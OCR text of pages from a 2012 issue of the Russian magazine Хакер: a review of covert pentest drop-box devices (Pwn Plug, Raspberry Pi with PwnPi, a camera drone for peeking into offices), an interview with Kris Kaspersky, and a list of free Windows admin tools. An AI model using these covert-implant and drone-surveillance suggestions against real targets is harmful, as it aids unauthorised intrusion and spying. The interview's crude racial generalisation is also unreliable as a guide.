Plugpwnieexpress.comак и рассмотренный выше MiniPwner, Pwn Plug относитсяк классу так называемых drop-box-устройств — то естьКдевайсов, которые при незаметном подключении к целевойсети предоставляют к ней удаленный доступ атакующему/пентестеру.Внешне девайс похож на адаптер питания, подключаемыйв розетку. Для большей конспирации разработчики устройствапредоставляют специальные наклейки, маскирующие Pwn Plug подосвежители воздуха и аналогичные бытовые приборы. На самом жеделе это полноценный компьютер, работающий под управлениемDebian 6, который, несмотря на свой малый размер, под завязку напичканразличными устройствами и хакерским софтом. Рассмотримпоближе Elite-версию — она более «заряжена». Итак, этот «освежитель»снабжен сразу тремя адаптерами: 3G, Wireless и USB-Ethernet.Поддерживает внешний доступ по SSH через 3G/GSM сотовыесети. Обладает такой интересной функцией, как Text-to-Bash: тыможешь выполнять на нем команды в консоли с помощью отправкиSMS-сообщения. Поддерживает HTTP-прокси, SSH-VPN и OpenVPN.Богатый набор хакерских инструментов включает в себя Metasploit,SET, Fast-Track, w3af, Kismet, Aircrack, SSLstrip, nmap, Hydra, dsniff,Scapy, Ettercap, инструменты для работы с Bluetooth/VoIP/IPv6 итак далее. В качестве дополнительного хранилища используется16-гигабайтная SDHC-карточка. Wireless-версия не имеет 3G иUSB-Ethernet и, соответственно, не может похвастаться поддержкойудаленного доступа через сотовые сети. В остальном обе версииодинаковы. Вообще, девайс реально крутой, однако ценник у него,прямо скажем, кусается.024ХАКЕР 08 /163/ 2012


Чемоданчик хакераAR.Droneardrone.parrot.comтот девайс разительно отличается от всех остальных. Ведь с егопомощью можно… нет, не перехватывать трафик, не отлавливатьнажатия клавиш и не сохранять снимки рабочего стола —Эс его помощью можно... подглядывать! Да-да. Современный пентестингвсе больше походит на шпионаж, поэтому эксперты не пренебрегаютданной возможностью. Честно говоря, увидев AR.Drone в магазине, явряд ли бы подумал о тестах на проникновение или взломе. Это игрушкачистой воды: обычный квадрокоптер с прикрепленной к нему камерой.Вторая версия AR.Drone снабжена камерой высокого разрешения,поэтому, как бы это фантастично ни звучало и ни напоминало шпионскийбоевик, можно подглядеть через окно, что происходит в помещении,какое оборудование используется, как ведут себя сотрудники. Ине обязательно обладать острым глазом и фотографической памятью:к камере можно присоединить флешку, на которую будет записыватьсявидео. Управлять девайсом проще простого: в качестве пульта можноиспользовать iPhone, iPad и Android, предварительно установив специальноеприложение. Девайс можно использовать и в мирных целях,делая потрясающие снимки с высоты птичьего полета. Так что, дажеесли подсматривать не за кем, с таким девайсом все равно не заскучаешь.Если хочешь сэкономить и собрать такой девайс самостоятельно,то рекомендую тебе изучить следующие ресурсы: bit.ly/GVCflk — пост нахабре, довольно подробно описывающий процесс создания простенькогоквадрокоптера; bit.ly/o8pLgk — англоязычный сайт, полностьюпосвященный строительству квадрокоптеров; bit.ly/fhWsjo — ресурс отом, как делать роботов, также содержит статьи о квадрокоптерах.299131425Raspberry Piraspberrypi.orgаканчивает наш обзор девайс по имени Raspberry Pi, вокругкоторого сейчас много шума. Это простенький одноплатныйкомпьютер, выпущенный компанией Raspberry PiЗFoundation. Микросхема выполнена на базе процессора ARM 11 стактовой частотой 700 MГц и по размеру сопоставима с банковскойпластиковой карточкой. Одно из достоинств этого «компьютера» —он идет без корпуса, просто в виде микросхемы, и это позволяетзамаскировать его практически подо что угодно. На плате располагаютсяпорты ввода/вывода, два разъема USB 2.0, отсек длякарт памяти SD/MMC/SDIO, Ethernet-контроллер, композитный иHDMI-видеовыходы. Как видишь, идеальный вариант для созданиясвоего бюджетного drop-box’а. Вообще, такой девайс с хорошимпроцессором, небольшим энергопотреблением, возможностьюподключения Wi-Fi-адаптера по USB и Linux’ом на борту грех не использоватьдля скрытой установки. В качестве ОС можно использоватьлюбой Linux-дистрибутив — Debian, Fedora, Ubuntu, но лучшеспециализированный дистрибутив PwnPi (pwnpi.sourceforge.net),выпущенный умельцами специально для установки на Raspberry Pi.Он уже содержит в себе весь необходимый хакерский инструментарий.К тому же умельцы охотно делятся своим опытом установки нанего скрытого сервера в анонимной сети I2P, установки Metasploit,создания аппаратного снифера и многого другого.ХАКЕР 08 /163/ 2012 025


COVERSTORYБеседу велНикитаКислицинИЗВЕСТНЫЙ СПЕЦИАЛИСТ ПО ИНФОРМАЦИОННОЙБЕЗОПАСНОСТИ И КУЛЬТОВЫЙ АВТОР ][АКЕРАКрис всегда стоял особняком в любой компании:ни на кого не похож, называет себямыщъхом, глубоко и неординарно мыслит,пишет книги и явно идет по совершенно особенномужизненному пути. То ли программист,то ли исследователь, то ли астроном, то липисатель. Последние четыре года слышно онем было немногое, и в общем немудрено, чтопри первом же удобном случае я отправился вмаленький зеленый городок под Вашингтономпоболтать за жизнь и выяснить, чем же Крисзанимается и что он делал последнее время.КАК ВСЕ НАЧИНАЛОСЬПервая иностранная компания, в которой я стал работать,была Endeavor Security. Устроился я туда вести блог о малварии сплоитах за 800 долларов в месяц. Кстати, блог доступендо сих пор: endeavorsecurity.blogspot.com.Были сложные времена, и за короткое время компаниюпокинуло сразу несколько ключевых сотрудников.Пришло к тому, что работать стало некому, и владелецкомпании предложил поработать мне, потому что видел, чтоя соображаю. Кинули меня на реверсинг патчей безопасности.Поскольку компания маленькая, доступа к исходникамвинды не было и приходилось на основании патчей учитьсядетектить еще не существующие эксплойты для дыр, которыепофиксили в патче.Это была каторжная работа. У Майкрософта хотя бы патчивыходят регулярно, изменений не очень много и есть символьныеданные. А вот, скажем, в новой версии Оперы пофикcилиXSS. Изменений между версиями, понятно, миллион. Пойди-канайди эту дыру по патчу!Я предложил создавать методики автоматизации всегоэтого. Когда руководители поняли, что я могу не только реверсить,но и детектить, сказали — давай, будешь девелопером.Стал удаленно работать фрилансером-разработчиком.026ХАКЕР 08 /163/ 2012


ФАКТЫНастоящее имя Криса —Николай Лихачев.Неординарные способностиКриса помогли его бурной карьере,хотя высшего образованияу него, как ни странно, нет.Автор 13 книг о хакерстве,дизассеэмблировании, защитеи восстановлении данных.С весны 2010 года проживаети трудится в США.ХАКЕР 08 /163/ 2012 027


COVERSTORYО ПЕРЕЕЗДЕВ 2008 году я окончательно понял, что усталжить в России, у меня там нет никаких перспектив,и я озаботился поисками работыв США. Списался с компанией Macrovision изСан-Франциско — города моей мечты, и мненачали делать визу. А параллельно я продолжалработать с Endeavor Security.Визу мне делали долго: проверяли целыйгод, потому что консул США в будочке в Москвеочень удивился моей истории. Я ведь честноуказал, что работаю в журнале «Хакер» вродекак журналистом, при этом еду в США, чтобыустроиться там программистом.Консул мне сказал: «Так вы программированиемне занимались раньше, у вас нет подтвержденногоопыта, вам никто не будет делатьвизу — о чем вы говорите? Это какой-то скам».В Америке сильная бюрократия, но этоимеет и хорошую сторону: у него были подозрения,что я какой-то темный тип, но он не могмне отказать только на основании того, что я емуне понравился. Он просто запустил процедурупроверки всего моего бэкграунда. Короче, почтигод мне делали визу! Это при том, что у менябыло официальное приглашение от американскойкомпании.И значит, приехал я в Сан-Франц, все простоофигенно. Мне дают три тестовых задания,и все три я, формально говоря, проваливаю.Вернее, я нашел у них ошибки и неточности вформулировках. Например, в первом заданиинужно было удалить комментарии в стиле Cи C++ из строки без выделения доппамяти. Апрототип функции — void, то есть ничего невозвращает. Я говорю: «А если будет ошибка,как о ней сообщать? Единственное, что могу сделать,— это занулить буфер, но это ж я угроблюданные. Меняйте прототип, давайте возвращатькод ошибки».Еще там в качестве бонуса был вопрос: какудалять комментарии? Есть тестовая строка,в ней был комментарий в стиле C в define. ВВетхом завете Си Кернигана и Ритчи такойкомментарий заменялся пустым местом, использовалосьэто обычно как хак для склейки двухтокенов. А в новом стандарте (уже даже в C89)комментарий заменяется пробелом и склейки,естественно, не происходит.Мы с ними долго переписывались, и они,видимо, решили, что я по крайней мере обладаюопытом, знаниями и навыками, разбираюсьв древних стандартах — а значит, началзаниматься программированием давно. Словом,подтвердил свой опыт — я ведь указал 15 летработы в индустрии!А вот третье задание — сломать crack me —я решил немножко не с того бока, с какого ониожидали. Было там условие: нельзя патчить код.Они имели в виду, что нужно написать кейген. Япрактики взлома crack me не имею и понял, чтодолго буду париться, а мне дали компьютер исказали — сиди, занимайся.Ну я ж в «Хакере» зря что ли работал?Подумал — ну, написано «нельзя править код»,а вот секция данных — это же не код? Там естьНикита Кислицин и мыщъх во время интервью в Рестонезахардкоренный ключ, если я его поменяю намой ключ — я фактически решил задание безовсякой сложной математики, которая предполагалась.В общем, сделали мне предложение на300 000 долларов в год, чему я очень удивился:это сильно выше среднего по рынку. Потомучто среднее предложение в Сан-Франце — этогде-то 150–200 кил, а тут 300 предлагают. Столькодаже продюсеры многие не зарабатывают.Тут же я встретил моего шефа КристофераДжордана из Endeavor Security, он какраз был в Сан-Франциско с семьей. Мы селив кафе и начали беседовать. Я работал тогдана него удаленно и сказал, что увольняюсь, —мол, предложили кучу денег, буду работать надругих. Он мне говорит: для нас 300 тысяч — этонеподъемно, мы столько никому не платим. Тыже, дескать, у нас вообще числишься удаленнымфрилансером на 3000 долларов в месяц,какие 300 штук?! :) Максимум, на что можешьрассчитывать, — 170 тысяч.Босс предложил нанять меня в Endeavor,за свои собственные деньги включить меняв штат. Дело в том, что они тогда завершалисделку по продаже Endeavor в McAfee, и вэтом случае МакАфи уже обязана будет менятрудоустроить внутри себя.В общем, передо мной появился выбор:принимать 300 тысяч и Cryptograph Researchв Сан-Франциско или ехать в Рестон в лучшемслучае на 170 тысяч. Я решил съездить посмотретьгород и офис, чтобы знать хотя бы, из чеговыбираю.Был у меня обратный билет до Москвы, ноя его выкидываю — и собираюсь лететь в Рестон,посмотреть, что к чему. Хочу купить билет,но выясняется, что моя кредитка американскойбанковской системой не принимается. Тогда ещеу меня была карта от маленького банка в моемселе на Кубани.Тут и произошел инцидент, которыйопределил мое место работы. Мои будущиеколлеги отказали мне в простой просьбе: я просилпомочь мне и купить билет их банковскойкартой, предлагая сразу возместить расходыналичными. Все мне отказали! Как мне с такимилюдьми работать? Ну их на фиг!Прилетел я в Вашингтон, с приключениямидобрался до Рестона, поселился там в гостинице.Честно говоря, после Сан-Франца на меняэто место произвело неизгладимое впечатление— шок. Там как раз объединяли Endeavor содним из отделов МакАфи, и была такая теснотав офисе, что ужас. Все сидели в кубиках, и когдамы вдвоем с моим шефом находились в такомкубике, я туда целиком не влезал :). Потусовавшисьнемного в офисе МакАфи, я поспешилубраться домой в Россию. Такой сильный былконтраст с Сан-Франциско! В общем, уехал я сосмешанными чувствами.Еще была у меня возможность работать вPanda Security в Бильбао, но сильно не устроилидва момента. Во-первых, в контракте былдвухгодичный запрет на работу в любой другойкомпании, которая занимается антивируснымитехнологиями, если revenue от их продажи превышает5%. По сути, под этот фильтр попадаетпочти любая крупная IT-компания. Ну и второймомент — половину зарплаты (а предложили 75тысяч евро в год) отдавать на жилье, добираясьдо работы на метро. Не круто.Потом была Корея, куда я ездил c докладомна Codegate 2009. Там я познакомился спрезидентом компании Soft Forum — еслисравнивать, это как «Лаборатория Каспер-028ХАКЕР 08 /163/ 2012


Интервью с Крисом Касперскиского» в России или МакАфи в Штатах. Онпригласил меня на работу, но что-то не пошло:сначала я долго боролся с HR-отделом,который настаивал, чтобы я сбрил бороду ипостригся, а потом я просто понял, что будеточень сложно жить в языковой изоляции —по-английски в Корее никто не говорит. Вобщем, уехал.Были еще другие варианты: Иран, ЮжнаяАфрика, Германия. Подумав, я решил все-такивернуться в Рестон. К тому моменту уже началощущать ностальгию по городу, интуиция подсказывалаехать именно туда.Поскольку у меня нет высшего образования,делать обычную рабочую визу мне былонельзя. Оставалось два варианта: виза L-1(трансфер внутри компании) либо O-1 — визадля людей с выдающимися способностями.Ее обычно оформляют всяким нобелевскимлауреатам. Чтобы сделать L-1, мне надо было годработать в московском офисе McAfee, к чему я нестремился. В описании O-1 была сноска: такжевиза применяется для людей, у которых есть научныемонографии. Я сказал юристам: давайтеэто сделаем, я же написал кучу книг и статей.Впрочем, сами книги и статьи не имеют никакоговеса, если на них нет ссылок в авторитетных источниках.А ссылки, кстати, были — в том числена сайте Госдепа США.Но и ссылок недостаточно, самое главное,что нужно, — это письма и референсы от ужепризнанных и известных в индустрии людей.В общем, в связи с этими референсами я сразупонял, кто мне друг, а кто нет.Большинство моих друзей работали на конкурентов,а письмо должно быть на фирменномбланке, заверено печатью, подписью и всетакое. Ну и мне многие отвечали: понимаешь,ты едешь к конкурентам, и наше руководствоне сильно радо тебе помогать. В общем, пока язанимался этими письмами, компания все жерешила меня трансфернуть по визе L-1.Как меня принимали в московский офис —это отдельная история. Во-первых, в Москвеслегка офонарели, когда узнали, что моя зарплатау них будет больше, чем у всех сотрудников,вместе взятых. И конечно, за такие деньги онихотели видеть меня в офисе каждый день, а яжить в Москве не хотел. В итоге удалось убедитьих, что я буду работать удаленно из села Успенского,получая при этом американскую зарплатучерез московский офис.Впрочем, нормально работать было невозможно— мой дом не охраняется, никакогодоступа к исходникам и реальным проектам яполучить не мог. Вдруг просто физически украдуткомпьютеры? В общем, начал я тосковать поСША и отправился вопреки воле руководства вРестон, вникать в делопроизводство и знакомитьсяс коллегами.Начальство было недовольно — во-первых,у меня обычная бизнес-виза, соответственно,работать я не могу, плюс все время, которое я нахожусьв США, добавляется к тому году, которыймне надо было трудиться в России. Но я чуял, чтовсе делаю правильно.Меня несколько раз пытались отправитьи отправляли назад в Россию, но каждый разс этим были сложности: то забастовка BritishAirways, то жуткий снегопад в Штатах, то извержениевулкана. Бог был на моей стороне. Каждыйраз после такой «депортации» я чувствовалностальгию, впадал в депрессию и возвращалсяназад в США. Хотел изменить свою жизнь немедленно.Доходило до того, что охранникикомпании конвоировали меня в аэропорт :).И вот как-то раз я окончательно затосковали решил все сделать прямо здесь и сейчас.Опять прилетел в США, а моя бизнес-визаистекала уже очень скоро. На границе спрашивают— какая цель поездки? Я отвечаю: «Житьи работать в США. Навсегда». Миграционныйофицер прифигел и сказал: «Вы понимаете, еслиу вас есть скрытые миграционные намерения,я обязан вас не впускать в страну. Вы же своинамерения не скрываете, но у вас бизнес-виза,поэтому впустить я вас тоже не могу! Идите покоридорчику налево к моему начальству».В итоге я общался с директором аэропортаIAD. Он тоже обалдел от моей истории,отшманал по полной программе, но все жевпустил в страну — официально на три месяца,рассказав о том, что мне нужно делать, чтобылегализоваться.И в результате работы юридического отделаMcAfee мне без вылета из страны смоглисделать разрешение на работу сроком натри года. При этом визы (которая нужна дляпересечения границы) у меня уже не было, онаистекла. Так что я все-таки решил вернутьсяв Россию — во-первых, чтобы сделать новуювизу, ну и чтобы уже последний раз проститьсяс близкими и друзьями.Но тут получился облом: под Москвойгорели леса, экологическая катастрофа — посольствоСША эвакуировали, визу получитьнереально. В итоге я полетел в Малайзию исделал американскую визу там. На этом эпопеяс документами почти закончилась: виза длявъезда в страну есть, разрешение на работуесть. Можно ехать трудиться!О РАБОТЕ В МАКАФИОфициально моя должность в компании называетсяSenior Malware Researcher. Впрочем,сейчас реверс и анализ малвари для меня — этопобочная деятельность. На мне висят реальныеновые проекты, которые являются ключевымидля нашего отдела. Я работаю над архитектурой.На моем бейдже есть очень унизительныйлейбл — желтым ярко выделено: NOT CITIZEN.Считай, на лбу написано, что я не гражданинСША. Тут это много значит. У меня есть большиеограничения по проектам, над которыми я могуработать. Да и вообще по рабочим действиям.Например, мне запрещено официально встречатьсяс клиентами. Я могу сделать это в кафе,но вот пожать руки в офисе нельзя.Пару раз из меня пытались сделать менеджера,чтобы я формировал команду, но всегдаэто заканчивалось убытками и проблемами.В конце концов компания отказалась от идеиделать из меня управленца. И слава богу!В 2009 году я был признан сотрудникомгода в глобальном McAfee! Проявил себя приизучении Operation Aurora. Премию дали, да и свизами это немножко помогло.Если хочу поиграться с какой-нибудь дорогойжелезкой, например за 40 000 долларов, —мне покупают. Я вижу железо, о котором раньшеи мечтать не мог.Команда у нас интернациональная. Со мнойработает коллега из ЮАР, она веб-дизайнер,но сейчас еще и хакерша. Другая девушка сТайваня, сирота. Жила всю жизнь в Калифорнии,там же получила образование. Купила дом, будетскоро праздновать новоселье. Мне вот простоинтересно, какие шансы у сироты в России получитьхорошее образование, мигрировать надругой конец страны и купить там прекрасныйдом? Думаю, небольшие.Кстати, она знает Linux и редактор vimлучше меня! И в нем играет, как на пианино, я заней не успеваю. Ассемблер знает на таком уровне,что вполне может исправлять мои ошибки врассуждениях и понимает, когда я, например,оговариваюсь.Еще со мной работает уникальный человек,который до этого разрабатывал системыподушек безопасности в машинах. Раньше ядумал, что это фигня. Оказалось, там сложнейшаянейронная сеть, сложнейший софт, который,используя кучу факторов, вычисляет в реальномвремени целесообразность выброса подушки.Решает сложную задачу по минимизации травматизма.Ведь не в любом ДТП надо выбрасыватьподушку, это зависит от миллиона факторов:рост, вес, позиция, ребенок или взрослый в кресле,пристегнут ли ремень, скорость автомобиля,место удара, объект столкновения и так далее.Кстати, у них там все под QNX сделано. Этот мужикменя сейчас реально подбил принести большеИИ в антивирусную индустрию. Он большойспециалист, работать с ним одно удовольствие.Он хорошо мыслит в глобальных категориях, врешении задач реального времени.В 2009 ГОДУ Я БЫЛ ПРИЗНАН СОТРУДНИКОМГОДА В ГЛОБАЛЬНОМ MCAFEE! ПРОЯВИЛСЕБЯ ПРИ ИЗУЧЕНИИ OPERATION AURORA.ПРЕМИЮ ДАЛИ, ДА И С ВИЗАМИ ПОМОГЛОХАКЕР 08 /163/ 2012029


COVERSTORYПервый год я держался и работал строгопо графику. Рабочий день окончился — я идудомой отдыхать, гуляю, смотрю фильмы, хожу побарам, встречаюсь с друзьями и девушками. Навторой год не выдержал, сорвался и начал опятьпо ночам работать. Потому что очень увлекаюсьи не могу остановиться.Сейчас я меняю позицию в компании сресерчера на архитектора. Желания уходитьиз МакАфи у меня нет, хотя все говорят, что япридурок и идиот, — у меня куча идей, я могувлиться в небольшой стартап и начать делатьреально серьезные деньги. Но я доволен своимположением в компании, никого не хочу подводить.Я здесь счастлив.Сам я считаю себя слабым девелопером,в России я бы не прошел ни одного собеседования.Как ресерчер — я вижу пути решенияпроблем, которые другие люди еще не смоглирассмотреть. Но если брать именно кодинг, тоя не очень-то хорош. Большие проекты у менятеряют управляемость: я начинаю со 100 строк,где все отлично, но заканчиваю 10 000 строк,где уже потеряна управляемость, где все надопереписывать.О РАЗНИЦЕ В МЕНТАЛИТЕТЕВ России на собеседованиях пытаются потопить,показать, что ты ничего не понимаешь,— чтобы снизить зарплату. Здесь всенаоборот: если видят, что ты специалист, в тебявцепляются и больше не отпускают, предлагаялучшие условия.У нас здесь даже не собеседования, ачаепития. Идем в кафе, заказываем китайскийзеленый чай, беседуем о жизни и решаем,сработаемся мы или не сработаемся. И каждыйпотом пишет свое мнение начальству. Вопросытипа «Чем отличается полиморфная функцияот перекрытой?» тут даже не возникают, ихне задают вообще. Это как оскорбление! Напервом месте — стремления, желания и амбициикандидата.Бывает мотивация идти вперед, делатьчто-то новое, изобретать новые технологии.Это круто! У других мотивация — полезно работать,получать зарплату, основное время уделятьсемье. Это другая категория людей, такие людитоже очень нужны — они обычно чрезвычайноисполнительные. Нужны и трудоголики типаменя, которые работают ночью и днем.Усвоил важное правило: чем большим явыгляжу дураком, тем мне лучше. То есть чемстроже я к себе отношусь, тем мягче ко мне окружающие.Работает безотказно!Сроки и планирование работы в СШАпринципиально отличаются от российских.Например, при планировании работы с начальствоммы обсуждаем не ближайший месяц илидва. Здесь мыслят другими категориями: мыдумаем, что можно крутого не спеша сделатьза три года до прототипа и начать продаватьчерез пять лет. Никакой спешки нет. Нужно тригода на ресерч? Без проблем!А от русских компаний я слышу такие ужасы,что руки опускаются. Заставляют делатьчто-то прямо сейчас, у всех заднее место горит,и все должно быть готово еще вчера, даже еслиеще не придумали, что делать.Как-то раз я накосячил, сделал ошибку впрограмме, и из-за этого наша компания буквальнопо часам терпела большие убытки. Ясразу сказал: «Не нужно меня расстреливать и,пожалуйста, не нужно анальных кар, потому чтоя не буду ночью спать и все сделаю быстро, мненадо хотя бы тридцать часов».Мне мой тогдашний менеджер ответил: «Первыйдень ты просто спишь и думаешь, а дальшеработаешь по восемь часов в день и к концунедели сдашь проект. Мы с тобой планируемдолгое и плодотворное сотрудничество, поэтомустрадать и гробить здоровье ни к чему, ОK?».Меня это поразило.В России ведь знаете как: «Я начальник —ты дурак». В Америке такого нет. Здесь твойначальник — это твой друг и коллега, твой папа.Мой босс, который принял меня в EndeavorSecurity, — он для меня действительно каквторой отец.В Штатах никогда не знаешь, кто над кембудет сидеть, мы постоянно меняемся. Сначалаты босс над кем-то, потом ты подчиненный, потомопять начальник ты. В общем, все стараютсявыстраивать отношения так, чтобы потом непришлось за них расплачиваться.О ЖИЗНИУ нас в Рестоне почти весь город работаетв технологических компаниях. Здесь расположеныофисы Intel, Oracle, Microsoft, Google,Symantec и так далее. Почти весь хай-тек тутпредставлен.Кристофер Джордан — мой первый шеф иоснователь Endeavour Security — для меня какродной отец. Он очень многое для меня сделал,я ему очень благодарен. Он хороший программист,католик, прекрасный человек.Вице-президент компании по фамилии Барнабикак-то раз устроил мне встречу с РичардомКларком — бывшим советником президентаСША по безопасности. Он работал с Биллом Клинтоном.Барнаби лично меня с ним свел, и мы с нимдолго говорили за безопасность.Обама — грамотный мужик. Недавнотолкнул речь о том, что многие важные инфраструктурныеобъекты типа водяных насосов икомпонентов энергосистемы США не проектировалисьс учетом ИБ-угроз. Он понимает, каксложно расследовать преступления в нашейсфере, даже хищения денег из банков. Будутинвестировать деньги в защиту инфраструктур,будут делать отдельную организацию дляборьбы с электронной преступностью с высокимиполномочиями.Если бы мне предложили работать накомпьютерную преступность, напримерписать трояны, я бы точно отказался, дажекогда было мало денег. Слава богу, никогда непредлагали. Впрочем, когда я еще жил в своемселе, мне предлагали подломать системуучета завезенной сахарной свеклы на местномсахарном заводе. Хотели русские люди тыритьсвеклу, что поделать. Кстати, сложно былоотказаться — те люди не обломались бы иубить меня из-за этой свеклы. Помог приятель,который подсказал, как грамотно все разрулить.Удалось убедить бандитов, что денег неподнимем и быстро спалимся.Сейчас в Америке куда ни позвони, вездесначала разговариваешь с автоматическимменю, управление которым осуществляетсяисключительно голосом. У меня все ещесильный русский акцент, поэтому робот меняне понимает и первые 15 минут мне приходитсяговорить что-то типа «апож-апож-апож» до техпор, пока не сработает исключение и меня несоединят с живым оператором.У многих людей здесь настоящие замки.Например, у моего шефа я насчитал двенадцатьванных комнат. Причем строят обычно такиедома на отшибе: в двух часах езды от города, безкоммуникаций. Даже электричество генерируютсами — ставят дизельный генератор и завозятбольшой запас соляры. Получается все равнодешевле, чем тянуть кабель!Негры здесь убойные, негров я люблю! Уних очень сильна клановость и взаимовыручка.Если я дружу с кем-то, то его друзья дляменя тоже как братья. Два раза мне натуральнопомогали с документами. Например, когдатолько приехал — долго не мог получить SSNиз-за какой-то бюрократической проволочки.А без SSN в Штатах не жизнь — ничегосделать нельзя. Ни сотовый телефон нормальныйоформить, ни контракт заключить, ниналог уплатить — ничего. В общем, большаяпроблема. Обмолвился об этом темнокожимдрузьям. Те близко приняли к сердцу мою беду,и на следующий же день пятьдесят человекорганизовали пикет у конторы, которая выдаетSSN. Натурально, взяли здание в оцеплениеживой цепью и никого не выпускали и невпускали больше суток. В США трогать негрови силой разгонять — это почти самоубийство.Все сразу начинают говорить про расовыйподтекст, набрасывается пресса. К тому же вполиции работают тоже темнокожие, а они засвоих пацанов горой. В общем, через суткиблокады мне выдали SSN!У нас в каждом доме есть профессиональныйофисный центр с бесплатно доступнымоборудованием типа профессиональныхпринтеров-сканеров. Еще в каждом доме спортивныйзал прекрасный — тоже бесплатный!В парадной у нас консьерж за стойкой, как вгостинице, кресла, кондиционер. Ну где в Россиитакое? Только в элитных дорогущих домах. Уменя же дом никакой не элитный, обычное недорогоежилье. Для меня — как замок!Со всеми моими приключениями у менятут уже есть свой личный адвокат, которыймне все время помогает. Кстати, мужик изУкраины, что сильно мне облегчает общение. Поанглийскис юридическими терминами сложноразбираться.В Рестоне я чувствую себя как дома. Здесьу меня есть друзья, которые всегда помогут,здесь у меня есть любимая работа, здесь мнепросто очень нравится. Последние года дваживу тут безвылазно и никуда переезжать несобираюсь. z030ХАКЕР 08 /163/ 2012


Preview37 страниц на одной полосе.Тизер некоторых статей.PC ZONE38МАКСИ-ГАЙД ПО МИНИ-КОМПАМКомпьютер за 35 долларов — возможноли это? Сегодня, в 2012 году, — да!Появившиеся недавно мини-компьютеры— по сути, новый класс устройств —буквально взорвали рынок. ДевайсRaspberry Pi вызвал такой большой ажиотаж,что купить его долгое время былобанально невозможно. Любую партиюустройств за считанные минуты сметалаогромная армия энтузиастов. Еще бы:ультрадешевый компьютер, размером неболее USB-брелока, можно приспособитьдля чего угодно: от бортового компьютерав автомобиль до системы управленияумным домом. На что способны миникомпьютеры,сколько стоят и какие бывают— в нашем подробнейшем обзоре.PC ZONEВЗЛОМ32БЕСКОРЫСТНЫЕ ПОМОЩНИКИ15 замечательных бесплатных утилитдля Windows-администратора, которыенезаслуженно находятся в тени.Исправляем это недоразумение.54НЕ ВЕРЬ СВОИМ ГЛАЗАМСпуфинг — довольно интересный методатак, которым многие профессионалыпренебрегают. В этой статье — шестьразличных реализаций этого типа атак.59НЕ ВСЕ PHP ОДИНАКОВО ПОЛЕЗНЫКрупные проекты часто используютальтернативные реализации PHP. Однаковыигрыш в быстродействии ведет и кпоявлению новых дыр в безопасности.ВЗЛОМMALWARE64ЯДОВИТАЯ ОБЕРТКАПервая часть масштабного исследованияо том, как использование врапперовв PHP открывает для хакеровдополнительные векторы атак.70НА МАЛВАРЬ БЕЗ АНТИВИРУСАУбойная статья с конкретным алгоритмомтого, как найти в системе заразу исправиться с ней подручными средствами.То есть безо всякого антивируса.78МАХМУД, ПОДЖИГАЙ!Без маркетингового булшита и лишнихстрашилок рассматриваем Flamer —одну из наиболее технологичных угрозза последнее время.ХАКЕР 08 /163/ 2012 031


PC ZONEМартин «urban.prankster» Пранкевич (martin@synack.ru)Бескорыстныепомощники15 ЗАМЕЧАТЕЛЬНЫХ БЕСПЛАТНЫХ УТИЛИТДЛЯ WINDOWS-АДМИНИСТРАТОРА, КОТОРЫЕНЕЗАСЛУЖЕННО НАХОДЯТСЯ В ТЕНИВстроенные средстваадминистрирования ОС не всегдаудобны или зачастую не обладаютдостаточным функционалом, поэтомуарсенал сисадмина со временемпополняется полезными утилитами,надстройками и скриптами,которые существенно упрощаютповседневные задачи. Вдвойнеотрадно, когда найденное решениене только помогает справитьсяс определенной проблемой,но и распространяетсяна безвозмездной основе.032ХАКЕР 08 /163/ 2012


Бескорыстные помощникиADVANCED IP SCANNERСисадмин должен знать все о системах, работающих в сети, и быстрополучать к ним доступ. С данной задачей помогает справитьсяAdvanced IP Scanner (radmin.ru/products/ipscanner), предназначенныйдля быстрого многопоточного сканирования локальнойсети. Предоставляется AIPS совершенно бесплатно, без какихлибооговорок. Программа очень проста и понятна в работе. Послезапуска AIPS проверяет IP-адреса сетевых интерфейсов хоста, накотором она установлена, и автоматически прописывает диапазонIP в параметры сканирования; если IP менять не нужно, то остаетсязапустить операцию сканирования. В результате получим списоквсех активных сетевых устройств. Для каждого будет собранався возможная информация: MAC-адрес, производитель сетевойкарты, сетевое имя, зарегистрированный в системе пользователь,доступные общие ресурсы и сервисы (общие папки, HTTP, HTTPSи FTP). Практически все опции сканирования можно настроить,например изменить скорость или исключить проверку определенноготипа сетевых ресурсов (общие папки, HTTP, HTTPS и FTP).К любому ресурсу можно подключиться одним кликом, достаточнолишь отметить его в списке. AIPS интегрирована с программойRadmin и в процессе сканирования находит все машины с работающимRadmin Server. Результат сканирования можно экспортироватьв файл (XML, HTML или CSV) или сохранить в «Избранном»(поддерживается drag-and-drop). В дальнейшем, при необходимостиобращения к нужному клиентскому компу, сканировать сетьповторно не требуется. Если удаленное устройство поддерживаетфункцию Wake-on-LAN, его можно включить и выключить, выбравсоответствующий пункт меню.NETWRIX INACTIVE USERS TRACKERКомпания NetWrix, специализирующаяся на разработке решенийдля аудита изменений IT-инфраструктуры, предлагает десятьбесплатных и очень полезных утилит (goo.gl/sfQGX), призванныхзаметно упростить администрирование ОС Windows. Например,NetWrix Inactive Users Tracker (goo.gl/jWEj9) позволяет решитьодну из насущных проблем безопасности — наличие неактивныхучетных записей, которыми какое-то время никто не пользуется(уволенные сотрудники, командировка, перемещение по должности,временная учетка и тому подобное). Кадровики редкопредупреждают IT-отдел об изменениях, и таким аккаунтом можетзапросто воспользоваться злоумышленник. Утилита периодическипроверяет все учетные записи в доменах и сообщает о тех, доступк которым не осуществлялся определенное время. В версии Freeв качестве действий возможно указать лишь предупреждение поe-mail (достаточно задать параметры SMTP), все остальные операцииадмин производит вручную, хотя и предупреждения в нашемслучае достаточно. В платной версии доступны: автоматическаяустановка случайного пароля, деактивация учетной записи и перемещениев другой OU, фильтр OU для поиска учетных записей. Отдельнопредлагается PowerShell-командлет get-NCInactiveUsers,позволяющий получать список неактивных пользователей (проверяетсяатрибут «lastLogon») и упростить написание соответствующихскриптов.WINAUDIT FREEWAREWinAudit — бесплатная утилита от компании Parmavex Services(pxserver.com/WinAudit.htm), позволяющая произвести полныйаудит системы. Не требует установки, может выполняться в режимекомандной строки. Программа обладает простым и локализованныминтерфейсом, поддерживается запуск на всех версияхWindows, в том числе 64-битных. Сбор данных занимает примерноминуту (продолжительность процесса может варьироваться в зависимостиот операционной системы и конфигурации компьютера),результирующий отчет состоит из 30 категорий (поддаетсянастройке). В результате админ может получить данные о системе,установленном ПО и обновлениях с указанием версии и вендора,подключенных устройствах; список открытых сетевых портов(номер, сервис, программа и прочее) и открытых папок; активныесессии; установки безопасности; права доступа к периферии;информацию об учетных записях и группах; список задач/сервисов;программы в автозапуске; записи журналов и системнуюстатистику (uptime, использование памяти, дисков). Также можнозадать поиск определенных файлов по имени. Например, чтобынайти 